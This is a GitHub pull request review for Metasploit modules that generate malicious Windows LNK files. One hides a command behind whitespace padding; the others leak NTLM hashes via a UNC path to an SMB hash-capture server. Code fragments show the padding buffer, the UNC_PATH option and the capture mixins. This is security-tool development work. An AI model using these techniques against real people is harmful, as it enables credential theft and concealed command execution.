Skip to content

Conversation

happybear-21
Copy link
Contributor

Added Metasploit Auxiliary Module:
[x] Environment Variable Data Block NTLM Leak
[x] Icon Environment Data Block NTLM Leak
[x] Special Folder Data Block NTLM Leak
[x] Windows LNK Padding

Ref:
https://github.com/nafiez/DataBlockNTLMLeak/tree/main

Issue: #20223

Added Metasploit Auxiliary Module:
[x] Environment Variable Data Block NTLM Leak
[x] Icon Environment Data Block NTLM Leak
[x] Special Folder Data Block NTLM Leak
[x] Windows LNK Padding

Ref:
https://github.com/nafiez/DataBlockNTLMLeak/tree/main
Copy link

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you run rubocop for your module files?


def initialize(info = {})
super(update_info(info,
'Name' => 'ZDI-CAN-25373 - Windows Shortcut (LNK) Padding',
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Can you move ZDI ID to references?

Suggested change
'Name' => 'ZDI-CAN-25373 - Windows Shortcut (LNK) Padding',
'Name' => 'Windows Shortcut (LNK) Padding',

register_options([
OptString.new('FILENAME', [ true, 'The LNK filename to generate', 'poc.lnk' ]),
OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]),
OptString.new('DESCRIPTION', [ true, 'LNK file description', 'testing purpose' ]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think it might be better to make this option not mandatory and then add random description if the user does not provide description input. There's Faker module for that, which can add some pretty reasonable descriptions.

OptString.new('FILENAME', [ true, 'The LNK filename to generate', 'poc.lnk' ]),
OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]),
OptString.new('DESCRIPTION', [ true, 'LNK file description', 'testing purpose' ]),
OptString.new('ICON_PATH', [ true, 'Icon path for the LNK file', 'your_icon_path\\WindowsBackup.ico' ]),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Also same thing as for DESCRIPTION.

unicode_buffer = unicode_buffer.ljust(520, "\x00".force_encoding('UTF-16LE'))[0, 520].force_encoding('ASCII-8BIT')
data << unicode_buffer

return data
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return data
data


register_options([
OptString.new('FILENAME', [true, 'The LNK file name', 'msf.lnk']),
OptString.new('UNC_PATH', [true, 'The UNC path for credentials capture (e.g., \\\\192.168.1.1\\share)', '\\\\192.168.1.1\\share']),
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think you can spawn SMB server from Metasploit, then you can capture credentials from your module. You can use following imports:

  include Msf::Exploit::Remote::SMB::Server::Share
  include Msf::Exploit::Remote::SMB::Server::HashCapture

It might be more helpful with lateral movement.

end

def generate_item_id(data)
return [data.length + 2].pack('S') + data
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return [data.length + 2].pack('S') + data
[data.length + 2].pack('S') + data

bin_data << name_utf16
bin_data << "\x00\x00".force_encoding('ASCII-8BIT') # comment

return bin_data
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return bin_data
bin_data

idlist << "\x00\x00".force_encoding('ASCII-8BIT')

# Full IDList with size
return [idlist.length].pack('S') + idlist
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return [idlist.length].pack('S') + idlist
[idlist.length].pack('S') + idlist

extra << [0x28].pack('L') # Offset (4 bytes)
extra << [0x00].pack('L') # TERMINAL_BLOCK (4 bytes)

return extra
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return extra
extra

lnk_data << generate_linktarget_idlist(path, name)
lnk_data << generate_extra_data

return lnk_data
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return lnk_data
lnk_data

@happybear-21
Copy link
Contributor Author

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

Sure I will get started with the code changes and then move on to the documentation

@msutovsky-r7 msutovsky-r7 changed the title Issue: #20223 Adds fileformat NTLM leak/LNK padding modules Sep 12, 2025
icon_path = datastore['ICON_PATH']

unless description && !description.empty?
require 'faker'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should be moved above class definition

Suggested change
require 'faker'

end

unless icon_path && !icon_path.empty?
require 'faker'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This should be moved to above class definition:

Suggested change
require 'faker'

data << create_string_data(icon_path)
data << create_environment_block

return data
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return data
data

'License' => MSF_LICENSE,
'Author' => [ 'Nafiez' ],
'References' => [
['ZDI', 'ZDI-CAN-25373'],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
['ZDI', 'ZDI-CAN-25373'],
['ZDI', 'CAN-25373'],

header << [0].pack('V')
header << [0].pack('V')

return header
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return header
header

unicode_str = str.encode('UTF-16LE').force_encoding('ASCII-8BIT')
data << unicode_str

return data
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return data
data

Comment on lines 139 to 143
if fill_bytes > 0
buffer = ' ' * fill_bytes + cmd_command
else
buffer = cmd_command
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
if fill_bytes > 0
buffer = ' ' * fill_bytes + cmd_command
else
buffer = cmd_command
end
buffer = ' ' * fill_bytes + cmd_command

buffer = buffer[0, buffer_size] if buffer.length > buffer_size
buffer << "\x00"

return buffer
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return buffer
buffer


unless icon_path && !icon_path.empty?
require 'faker'
icon_path = File.join('%SystemRoot%\\System32', "#{Faker::File.file_name(ext: 'icon')}.to_s")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Here, you're combining two separators - the File.join uses / by default, so you'll get %SystemRoot%\\System32/.., which might cause a problem

Suggested change
icon_path = File.join('%SystemRoot%\\System32', "#{Faker::File.file_name(ext: 'icon')}.to_s")
icon_path = File.join('%SystemRoot%\\System32', Faker::File.file_name(ext: 'icon').to_s)

Comment on lines 56 to 60
deregister_options('SRVHOST', 'SRVPORT')
register_advanced_options([
OptAddressLocal.new('SRVHOST', [true, 'The local host to listen on', '0.0.0.0']),
OptPort.new('SRVPORT', [true, 'The local port to listen on', 445])
])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You don't need to do this as the options will be registered when SMB server is included - if you want to set default settings, please use DefaultOptions.

end

unc_path = datastore['UNC_PATH']
if unc_path.nil? || unc_path.empty?
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
if unc_path.nil? || unc_path.empty?
if unc_path.blank?

Comment on lines 199 to 202
self.share_name = random_share_name
self.smb_srvhost = datastore['SRVHOST']
self.smb_srvport = datastore['SRVPORT']
self.capture_hashes = true
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

No need to set this.

Suggested change
self.share_name = random_share_name
self.smb_srvhost = datastore['SRVHOST']
self.smb_srvport = datastore['SRVPORT']
self.capture_hashes = true

Comment on lines 206 to 208
def random_share_name
"share#{Rex::Text.rand_text_alphanumeric(6)}"
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
def random_share_name
"share#{Rex::Text.rand_text_alphanumeric(6)}"
end

Comment on lines 40 to 42
'Stability' => [],
'Reliability' => [],
'SideEffects' => []
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The notes are missing

Comment on lines 53 to 57
deregister_options('SRVHOST', 'SRVPORT')
register_advanced_options([
OptAddressLocal.new('SRVHOST', [ true, 'The local host to listen on', '0.0.0.0' ]),
OptPort.new('SRVPORT', [ true, 'The local port to listen on', 445 ])
])
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You don't have to define this, it should be defined already by SMBserver

def run
app_name = datastore['APPNAME']
while app_name && !app_name.empty?
require 'faker'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please move this to above class definition

Comment on lines 169 to 172
self.share_name = random_share_name
self.smb_srvhost = datastore['SRVHOST']
self.smb_srvport = datastore['SRVPORT']
self.capture_hashes = true
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You shouldn't need to use this here

Comment on lines 187 to 189
def random_share_name
"share#{Rex::Text.rand_text_alphanumeric(6)}"
end
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

It doesn't make sense to define this function, you can inline this.

@msutovsky-r7 msutovsky-r7 self-assigned this Sep 26, 2025
@msutovsky-r7 msutovsky-r7 added the rn-modules release notes for new or majorly enhanced modules label Sep 29, 2025
@msutovsky-r7 msutovsky-r7 merged commit 8112791 into rapid7:master Sep 29, 2025
28 of 32 checks passed
@msutovsky-r7
Copy link
Contributor

Release Notes

This adds multiple auxiliary modules for NTLM leak.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants